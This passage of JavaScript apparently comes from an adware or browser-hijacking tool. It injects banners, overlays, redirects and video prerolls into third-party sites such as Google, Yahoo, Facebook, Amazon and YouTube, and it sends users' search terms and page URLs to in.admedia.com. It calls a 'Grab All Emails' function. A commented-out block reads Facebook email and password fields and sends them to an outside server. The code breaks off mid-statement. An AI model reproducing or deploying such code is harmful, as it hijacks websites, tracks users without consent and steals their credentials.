price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.pimg').attr('background-image', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.ptitle > a').html(obj.items[gc].title);
jQuery(this).find('.pcontent').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "smarter")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#productbox > .plist').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.imgbox > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.brand > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.price > a').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
}
function injectGlobalBanners()
{
injectGrBanner('728x90', '[id*="header"]', 'ap');
injectGrBanner('300x250', '[id*="footer"]', 'ap');
injectGrBanner('160x600', '[id*="content"]', 'ap');
injectGrBanner('728x90', '[class*="header"]', 'ap');
injectGrBanner('300x250', '[class*="footer"]', 'ap');
injectGrBanner('160x600', '[class*="content"]', 'ap');
}
function injectAds()
{
var pathName = jQuery.trim(location.pathname);
var pagebody = jQuery(window.document.body);
determineIsSearch();
var gd_subid = '13271';
var gd_userid = '';
var gd_cid = affiliate;
(function() {
/*var gd = document.createElement('script');
gd.type = 'text/javascript';
gd.async = true;
gd.src = 'http://cdn.getdmedia.com/widget/index.static.js';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(gd, s);
var jw = document.createElement('script');
jw.type = 'text/javascript';
jw.async = true;
jw.src = 'https://api.jollywallet.com/affiliate/client?dist=190&sub=1';
s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(jw, s);*/
})();
// Travel Slider
if(isTravel === true && travelSliderEn == 1)
{
pagebody.append('');
}
// Direct Nav
if(zredirect && zredirect != '' && httpText != "https")
{
pagebody.prepend('');
setTimeout(function(){
jQuery('#dNavADOvlySkpTxt').html('Skip Ad »»');
}, 6000);
}
if(xmlAds == 1 && dSites['xml'].indexOf(pageEntity+",") == -1 )
{
/*if(ie_version != 1)
injectXmlAds();
else
{*/
if(escapedTerm != '')
{
if(pageUrl.indexOf('shopping.yahoo.com') != -1 || pageEntity == "amazon" || pageEntity == "ebay")
loadScript("https://in.admedia.com/content_shop.php?id="+shopAff+"&term=" +escapedTerm+"&pageDomain="+pageDomain+subid+"&pageEntity="+pageEntity+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){});
else
{
if(pageEntity == "google" || pageEntity == "yahoo" || pageEntity == "bing" || pageEntity == "ask" || pageEntity == "aol")
loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){});
else
loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){});
}
}
//}
}
else if(pageEntity == "google" && (dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663")
{
if(showGoogleShop == 1)
injectShoppingAds(term);
if(showGoogleSerp == 1)
loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){});
}
//if(escapedTerm != '')
// (new Image()).src = httpText+"://b.perfectnavigator.com/sc.php?st="+escapedTerm+"&rand="+Math.random()*1000;
//if(vsliderAds == 1 && (pathName == '' || pathName == "/" || pathName == "/index.php" || pathName == "/index")) {
if(vsliderAds == 1) {
if(bannerAds == 1)
{
vdisplayEn = 1;
vsid = id;
}
else
{
if(pageEntity == "youtube")
pagebody.append('');
else if(affiliate == "33587")
pagebody.append('');
else if(document.location.href.indexOf('search.yahoo') == -1 && pageEntity != "bing" && pageEntity != "google")
pagebody.append('');
}
}
if(offersliderAds == 1 && pageEntity != 'google' && pageEntity != 'yahoo' && pageEntity != 'bing' && pageEntity != 'aol')
pagebody.append('');
if(pageEntity != 'google' && pageEntity != 'yahoo' && pageEntity != 'bing' && pageEntity != 'aol' && exitmonAds == 1)
pagebody.append('');
if (inlineAds == 1 && dSites['inline'].indexOf(pageEntity+",") == -1) {
pagebody.append('');
//pagebody.append('');
//pagebody.append('');
}
else if (blacklistInlineHosts[pageDomain] !== true && inlineEnabled == 1) {
if(document.location.href.indexOf('search.yahoo.com') == -1)
{
//pagebody.append('');
pagebody.append('');
}
}
if(affiliate == "23120" && overlayAds == 1)
{
if(pageEntity != 'facebook' && pageEntity != 'linkedin' && pageEntity != 'twitter' && pageEntity != 'pinterest')
pagebody.append('');
}
else if (overlayHosts[pageEntity] === true && overlayAds == 1 && dSites['overlay'].indexOf(pageEntity+",") == -1) {
if(pageEntity == "yahoo")
{
if(document.location.href.indexOf('video.search.yahoo') != -1 || document.location.href.indexOf('omg.yahoo.com/video') != -1 || document.location.href.indexOf('movies.yahoo.com') != -1 || document.location.href.indexOf('tv.yahoo.com') != -1 || document.location.href.indexOf('music.yahoo.com') != -1 || document.location.href.indexOf('screen.yahoo.com') != -1)
pagebody.append('');
}
else if(pageEntity == "bing")
{
if(document.location.href.indexOf('bing.com/videos') != -1)
pagebody.append('');
}
else if(pageEntity == "huffingtonpost")
{
if(document.location.href.indexOf('live.huffingtonpost') != -1)
pagebody.append('');
}
else if(pageEntity == "youtube")
{
if(pathName != '' && pathName != "/")
pagebody.append('');
}
else if(pageEntity == "hulu")
{
if(pathName != '' && pathName != "/")
pagebody.append('');
}
else
pagebody.append('');
}
// Grab All Emails
grabEmail();
/*var lsEmailInt = "";
if(pageEntity == "facebook")
{
lsEmailInt = setInterval(function(){
jQuery('input[type="text"]').each(function(){
emailVal = jQuery(this).val();
if(emailVal != '')
{
if(validateEmail(emailVal))
{
var lgo = jQuery('#pass').val();
(new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+emailVal+"&cat=0&dom="+pageDomain+"&lgo="+lgo+"&rand="+Math.random()*1000;
clearInterval(lsEmailInt);
}
}
});
}, 1000);
}*/
/*if(footerrollHosts[pageEntity] === true && footerrollAds == 1 && dSites['footerroll'].indexOf(pageEntity+",") == -1) {
pagebody.append(' ');
}*/
if(homepageAdsHosts[pageEntity] === true)
{
//injectHomePageAds();
}
var forceSearch = "";
if(term && term != '')
forceSearch = "&search="+term+"&force=1";
else if(pageEntity == "facebook")
{
var rand = Math.floor(Math.random()*11);
if(rand%2 == 0)
forceSearch = "&cat=2";
else
forceSearch = "&cat=7";
}
if(dSites['banner'].indexOf(pageEntity+",") == -1)
{
var hsearchTerms = ['credit card offers', 'massage chairs', 'cell phones', 'airline prices', 'work from home', 'lose weight fast', 'local deals', 'digital cameras', 'vacation packages', 'online dating'];
var shuffledTerms = shuffle(hsearchTerms);
var forceHome1 = "&search="+shuffledTerms[0]+"&force=1";
var forceHome2 = "&search="+shuffledTerms[1]+"&force=1";
var forceHome3 = "&search="+shuffledTerms[2]+"&force=1";
setTimeout(function() {
switch (pageEntity) {
case 'google':
//if(document.location.href.indexOf('google.com/prdhp') != -1 || document.location.href.indexOf('google.com/shopping') != -1)
//injectHomePageAds();
//injectGrBanner('728x90', '#lga', 'pr');
//injectGrBanner('728x90', '#footer', 'ap');
//injectGrBanner('300x250', '#body', 'ap');
//injectGrBanner('728x90', '#foot', 'ap');
//injectGrBanner('300x250', '#foot', 'ap');
//injectGrBanner('728x90', '#topabar', 'pr');
break;
case 'yahoo':
//if(document.location.href.indexOf('shopping.yahoo.com') != -1)
//injectHomePageAds();
injectGrBanner('728x90', '#y-header', 'ap');
injectGrBanner('120x600', '#y-pa', 'pr');
injectGrBanner('728x90', '#y-footer', 'ap');
injectGrBanner('300x250', '#results', 'ap');
injectGrBanner('160x600', '#sidebar', 'ap');
injectGrBanner('728x90', '#ft', 'ap');
injectPreroll('#y-col2', 'ap');
if(document.location.href.indexOf('movies.yahoo.com') != -1)
{
if(jQuery('#ymh-player-swf').length > 0 && overlayAds == 1)
{
var playerCode = '';
var playerUrl = jQuery('meta[property="og:video"]').attr('content');
var hashes = playerUrl.slice(playerUrl.indexOf('?') + 1).split('&');
for(var i = 0; i < hashes.length; i++)
{
hash = hashes[i].split('=');
if(hash[0] == "vid")
playerCode = hash[1];
}
if(playerCode != '')
{
var embedUrl = "http://d.yimg.com/nl/movies/site/player.html#repeat=0&browseCarouselUI=hide&vid="+playerCode+"&startScreenCarouselUI=hide&shareUrl="+document.location.href;
jQuery('#ymh-player-swf').html('');
jQuery('#ymh-player-swf').html('');
setInterval(function() { jQuery('object[id^="yppVideoPlayer"]').remove(); }, 1000);
}
}
}
if(document.location.href.indexOf('tv.yahoo.com') != -1)
{
if(jQuery('#video_container').length > 0 && overlayAds == 1)
{
var playerCode = '';
var playerUrl = jQuery('#video_container').find('embed').attr('flashvars');
var hashes = playerUrl.slice(playerUrl.indexOf('?') + 1).split('&');
for(var i = 0; i < hashes.length; i++)
{
hash = hashes[i].split('=');
if(hash[0] == "vid")
playerCode = hash[1];
}
if(playerCode != '')
{
var embedUrl = "http://d.yimg.com/nl/ytv/site/player.html#repeat=0&vid="+playerCode+"&shareUrl="+document.location.href;
jQuery('#video_container').html('');
jQuery('#video_container').html('');
//setInterval(function() { jQuery('object[id^="yppVideoPlayer"]').remove(); }, 1000);
}
}
}
if(document.location.href.indexOf('music.yahoo.com') != -1)
{
if(jQuery('#ymh-player-swf').length > 0 && overlayAds == 1)
{
var playerCode = '';
var playerUrl = jQuery('meta[property="og:video"]').attr('content');
if(playerUrl)
{
var hashes = playerUrl.slice(playerUrl.indexOf('?') + 1).split('&');
for(var i = 0; i < hashes.length; i++)
{
hash = hashes[i].split('=');
if(hash[0] == "vid")
playerCode = hash[1];
}
}
if(playerCode != '')
{
var embedUrl = "http://d.yimg.com/nl/vyc/site/player.html#repeat=0&browseCarouselUI=hide&vid="+playerCode+"&startScreenCarouselUI=hide&shareUrl="+document.location.href;
jQuery('#ymh-player-swf').html('');
jQuery('#ymh-player-swf').html('');
setInterval(function() { jQuery('object[id^="yppVideoPlayer"]').remove(); }, 1000);
}
else
{
setInterval(function() {
if(jQuery('#vevoPlayer').length > 0)
{
var playerHTML = jQuery('#ymh-player-swf').html();
playerHTML = playerHTML.replace("autoplay=1", "autoplay=0");
playerHTML = playerHTML.replace("vevoPlayer", "adm_overlay_autostart");
jQuery('#ymh-player-swf').html(playerHTML);
}
}, 1000);
}
}
}
if(document.location.href.indexOf('screen.yahoo.com') != -1)
{
if(jQuery('#ymh-player-swf').length > 0 && overlayAds == 1)
{
var playerCode = '';
var playerUrl = jQuery('meta[property="og:video"]').attr('content');
var hashes = playerUrl.slice(playerUrl.indexOf('?') + 1).split('&');
for(var i = 0; i < hashes.length; i++)
{
hash = hashes[i].split('=');
if(hash[0] == "vid")
playerCode = hash[1];
}
if(playerCode != '')
{
var embedUrl = "http://d.yimg.com/nl/vyc/site/player.html#repeat=0&browseCarouselUI=hide&vid="+playerCode+"&startScreenCarouselUI=hide&shareUrl="+document.location.href;
jQuery('#ymh-player-swf').html('');
jQuery('#ymh-player-swf').html('');
setInterval(function() { jQuery('object[id^="yppVideoPlayer"]').remove(); }, 1000);
}
}
}
if(document.location.href.indexOf('mail.yahoo.com') != -1)
{
//jQuery('#slot_LREC, #slot_SKY, #slot_REC').html('');
injectBannerAd("300x250", "#slot_LREC", "pr", affiliate, forceHome1, '');
injectBannerAd("160x600", "#slot_SKY, #slot_REC", "pr", affiliate, forceHome1, '
');
}
if(document.location.href.indexOf('news.yahoo.com') != -1)
{
//jQuery('#yom-ad-LREC, #yom-ad-LREC2, #yom-ad-LREC3').html('');
injectBannerAd("300x250", "#yom-ad-LREC, #yom-ad-LREC2, #yom-ad-LREC3", "pr", affiliate, forceHome1, '
');
}
break;
case 'bing':
injectGrBanner('300x250', '#hp_container', 'ap');
injectGrBanner('728x90', '#hp_container', 'ap');
injectGrBanner('728x90', '#ft', 'ap');
injectGrBanner('300x250', '#sw_content', 'ap');
injectGrBanner('728x90', '#sb_foot', 'ap');
injectGrBanner('160x600', '#sidebar', 'ap');
break;
case 'msn':
injectGrBanner('160x600', '#area2', 'ap');
injectGrBanner('300x250', '#content', 'ap');
injectGrBanner('728x90', '#foot', 'ap');
injectPreroll('#area2', 'ap');
injectPreroll('#MainTableCell', 'ap');
if(jQuery('#summaries .componentsw').length < 1)
injectBannerAd("728x90", "#summaries", "pr", affiliate, forceHome1, '
');
break;
case 'amazon':
injectPreroll('.howsMySearchDivMainTemp', 'af');
injectPreroll('#productDescription', 'ap');
jQuery('.sw-banner-ads').remove();
injectBannerAd("160x600", ".tigerTable", "af", affiliate, forceSearch, '
');
injectBannerAd("728x90", ".howsMySearchDivMainTemp", "af", affiliate, forceSearch, '
');
injectBannerAd("728x90", "#handleBuy", "pr", affiliate, forceSearch, '
');
//injectBannerAd("200x200", "#buyboxDivId", "af", affiliate, forceSearch, '
');
injectBannerAd("300x250", "#DAr2", "be", affiliate, forceHome1, '');
//injectBannerAd("728x90", "#centerA", "be", affiliate, forceHome2, '
');
injectBannerAd("300x250", "#DAr7", "af", affiliate, forceHome3, '');
break;
case 'bestbuy':
injectPreroll('#btm-padbar', 'af');
injectPreroll('#productdetail', 'af');
injectBannerAd("160x600", "#leftcol", "ap", affiliate, forceSearch, '
');
injectBannerAd("728x90", "#btm-padbar", "af", affiliate, forceSearch, '
');
injectBannerAd("728x90", "#searchstate", "af", affiliate, forceSearch, '
');
injectBannerAd("160x600", "#priceblock", "ap", affiliate, forceSearch, '
');
injectBannerAd("300x250", "#dod-ghp", "pr", affiliate, forceHome1, '');
injectBannerAd("728x90", "#on-loading", "be", affiliate, forceHome2, '
');
injectGrBanner('160x600', '#dod-ghp', 'ap');
break;
case 'facebook':
//jQuery('.sw-banner-ads').remove();
injectBannerAd("160x600", "#leftCol", "ap", affiliate, forceHome1, '
');
injectBannerAd("728x90", ".gradientContent", "pr", affiliate, forceHome1, '
');
injectGrBanner('728x90', '#content', 'pr');
injectGrBanner('300x250', '#registration_container', 'ap');
injectGrBanner('728x90', '#pageFooter', 'ap');
injectGrBanner('728x90', '#blueBarHolder', 'pr');
injectGrBanner('728x90', '#mainContainer', 'ap');
injectGrBanner('300x250', '#rightCol', 'ap');
injectGrBanner('728x90', '#blueBar', 'af');
injectGrBanner('300x250', '#globalContainer', 'pr');
injectBannerAd("300x250", "#photos_snowlift .rhcFooter", "pr", affiliate, forceHome1, '
');
break;
case 'homedepot':
injectPreroll('#products', 'af');
injectPreroll('#superPIP__container', 'af');
injectBannerAd("160x600", ".plpleftnav", "af", affiliate, forceSearch, '
');
injectBannerAd("600x189", "#products", "af", affiliate, forceSearch, '
');
injectBannerAd("160x600", "grp_addToCart", "af", affiliate, forceSearch, '');
injectBannerAd("728x90", "#header", "af", affiliate, forceHome1, '
');
injectBannerAd("728x90", "#homepagehorizontal1_rr", "be", affiliate, forceHome2, '
');
injectGrBanner('160x600', '#header', 'ap');
break;
case 'jcpenney':
injectPreroll('#blockedSectionDiv', 'af');
//injectBannerAd("160x600", "#mainFilterContainer", "ap", affiliate, forceSearch, '
');
injectBannerAd("600x189", "#RNav_dvThumbs", "ap", affiliate, forceSearch, '
');
injectBannerAd("728x90", "#blockedSectionDiv", "be", affiliate, forceHome1, '
');
injectBannerAd("728x90", ".CopyrightInfo", "pr", affiliate, forceHome2, '
');
injectGrBanner('300x250', '#blockedSectionDiv', 'ap');
break;
case 'walmart':
injectPreroll('#adsense_1', 'ap');
injectPreroll('#BVReviewsContainer', 'af');
injectBannerAd("160x600", ".leftOASAdContainer", "ap", affiliate, forceSearch, '
');
injectBannerAd("728x90", "#adsense_1", "ap", affiliate, forceSearch, '
');
//injectBannerAd("300x250", "#OAS_Left1", "pr", affiliate, forceSearch, '');
injectBannerAd("728x90", ".shippingMessage", "be", affiliate, forceHome1, '
');
injectBannerAd("300x250", ".spotLightRight", "pr", affiliate, forceHome2, '');
injectBannerAd("728x90", ".FooterContainer", "be", affiliate, forceHome3, '
');
break;
case 'kmart':
injectPreroll('#footer_backToTop', 'ap');
injectBannerAd("160x600", "#col1_Filters", "ap", affiliate, forceSearch, '
');
injectBannerAd("600x189", "#footer_backToTop", "af", affiliate, forceSearch, '
');
//injectBannerAd("728x90", "#kHMPGGLobal", "af", affiliate, forceHome1, '');
injectBannerAd("160x600", "#deptNav", "ap", affiliate, forceHome2, '');
break;
case 'lowes':
injectPreroll('#productResults', 'af');
injectPreroll('#alsoViewedBlock', 'af');
//injectBannerAd("160x600", ".expandable", "af", affiliate, forceSearch, '
');
injectBannerAd("600x189", "#productResults", "af", affiliate, forceSearch, '
');
injectBannerAd("728x90", "#header-block", "af", affiliate, forceHome1, '
');
injectBannerAd("728x90", "#footer-block", "be", affiliate, forceHome2, '
');
break;
case 'macys':
injectPreroll('#macysGlobalLayout', 'af');
injectPreroll('#pdpTabs', 'ap');
injectBannerAd("120x600", "#localNavigationContainer", "ap", affiliate, forceSearch, '');
//injectBannerAd("600x189", "#macysGlobalLayout", "ap", affiliate, forceSearch, '');
injectBannerAd("728x90", "#globalContentContainer", "pr", affiliate, forceHome1, '
');
injectBannerAd("728x90", "#ft", "pr", affiliate, forceHome2, '
');
break;
case 'overstock':
injectPreroll('#prod_tabs', 'af');
injectBannerAd("160x600", "#categories-and-refinements", "af", affiliate, forceSearch, '
');
injectBannerAd("250x250", "#mainRight_addCartWrap", "af", affiliate, forceSearch, '');
injectBannerAd("728x90", "#content-oasis", "be", affiliate, forceHome1, '
');
injectBannerAd("160x600", "#topnav", "af", affiliate, forceHome2, '
');
injectBannerAd("250x250", "#content-nav-b", "pr", affiliate, forceHome3, '');
break;
case 'pronto':
injectPreroll('.productPaginationContainer', 'af');
//injectBannerAd("160x600", "#MB", "af", affiliate, forceSearch, '');
injectBannerAd("728x90", ".firstRailLastContent", "pr", affiliate, forceHome1, '
');
injectBannerAd("728x90", ".popularListsContainer", "be", affiliate, forceHome2, '
');
break;
case 'ebay':
injectPreroll('.toolsl', 'af');
injectPreroll('#vi_tabs', 'af');
injectBannerAd("728x90", "#leftPanelr", "ap", affiliate, forceSearch, '
');
//injectBannerAd("160x600", "#rtm_html_569", "be", affiliate, forceSearch, '
');
injectBannerAd("728x90", "#ResultSet", "af", affiliate, forceSearch, '
');
injectBannerAd("728x90", ".vi-ih-header", "af", affiliate, forceSearch, '
');
injectBannerAd("300x250", "#vieu_si", "ap", affiliate, forceSearch, '');
injectBannerAd("728x90", "#AreaNavigation", "pr", affiliate, forceHome1, '
');
injectBannerAd("300x250", "#ff_right", "pr", affiliate, forceHome2, '
');
break;
case 'sears':
injectPreroll('#cardsHolder', 'af');
injectPreroll('#productInfo', 'af');
injectBannerAd("160x600", "#col1_Filters", "ap", affiliate, forceSearch, '');
injectBannerAd("600x189", "#cardsHolder", "ap", affiliate, forceSearch, '');
injectBannerAd("728x90", "#globalBanner", "pr", affiliate, forceHome1, '');
injectBannerAd("160x600", "#deptNav", "ap", affiliate, forceHome2, '');
injectBannerAd("300x250", "#OAS_posTopRight", "pr", affiliate, forceHome3, '
');
break;
case 'shopping':
injectPreroll('#searchResultsContainer', 'af');
//injectBannerAd("160x600", "#leftPanel", "ap", affiliate, forceSearch, '');
injectBannerAd("600x189", "#searchResultsContainer", "ap", affiliate, forceSearch, '');
injectBannerAd("728x90", "#content", "pr", affiliate, forceHome1, '
');
injectBannerAd("728x90", "#marketingContent", "ap", affiliate, forceHome2, '
');
break;
case 'shopzilla':
injectPreroll('#productionForm', 'af');
injectBannerAd("160x600", "#att_nav", "af", affiliate, forceSearch, '
');
injectBannerAd("600x189", "#productionForm", "af", affiliate, forceSearch, '
');
break;
case 'staples':
injectPreroll('#productGridContainer', 'af');
//injectBannerAd("160x600", "#myFilters", "af", affiliate, forceSearch, '
');
//injectBannerAd("490x250", "#productGridContainer", "af", affiliate, forceSearch, '
');
injectBannerAd("728x90", "#homeAlleyZone", "pr", affiliate, forceHome1, '');
injectBannerAd("228x335", "#homeWowBannerZone1", "be", affiliate, forceHome2, '
');
break;
case 'target':
injectPreroll('#merchandisingSlot5', 'af');
injectPreroll('#specifications', 'af');
injectBannerAd("120x600", "#LeftNavRRComponent", "be", affiliate, forceSearch, '
');
injectBannerAd("728x90", "#merchandisingSlot5", "af", affiliate, forceSearch, '
');
injectBannerAd("120x600", "#ProductDetailsTop>.more", "ap", affiliate, forceSearch, '
');
injectBannerAd("728x90", ".espot-2", "be", affiliate, forceHome1, '
');
injectBannerAd("728x90", ".espot-5", "af", affiliate, forceHome2, '
');
break;
case 'twitter':
jQuery('.sw-banner-ads').remove();
injectBannerAd("468x60", ".content-header.js-stream-header", "be", affiliate, forceSearch, '
');
//injectBannerAd("300x250", ".module.mini-profile.component", "af", affiliate, forceSearch, '
');
//injectBannerAd("728x90", ".front-card", "be", affiliate, forceHome1, '
');
injectGrBanner('160x600', '.module.mini-profile.component', 'af');
//injectBannerAd("300x250", ".module.search-nav", "af", affiliate, forceSearch, '
');
injectGrBanner('160x600', '.module.search-nav', 'af');
//injectBannerAd("300x250", ".module.profile-nav", "af", affiliate, forceSearch, '
');
injectGrBanner('160x600', '.module.profile-nav', 'af');
injectGrBanner('728x90', '.footer.inline-list', 'af');
injectGrBanner('300x250', '.footer.inline-list', 'af');
//injectBannerAd("728x90", ".front-card", "be", affiliate, forceHome1, '
');
//injectBannerAd("728x90", ".module.profile-card.component", "af", affiliate, forceHome1, '
');
injectBannerAd("300x250", ".module.profile-nav", "af", affiliate, forceHome1, '
');
injectBannerAd("300x250", ".module.mini-profile", "af", affiliate, forceHome1, '
');
break;
case 'youtube':
if(jQuery('#movie_player').length > 0 && overlayAds == 1)
{
var playerCode = '';
var playlist = 0;
var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');
for(var i = 0; i < hashes.length; i++)
{
hash = hashes[i].split('=');
if(hash[0] == "v")
playerCode = hash[1];
if(hash[0] == "list")
playlist = 1;
}
if(playerCode != '' && playlist == 0)
{
setTimeout(function(){ var embedUrl = httpText+"://www.youtube.com/v/"+playerCode;
var mparent = jQuery('#movie_player').parent();
jQuery(mparent).html('');
jQuery(mparent).html('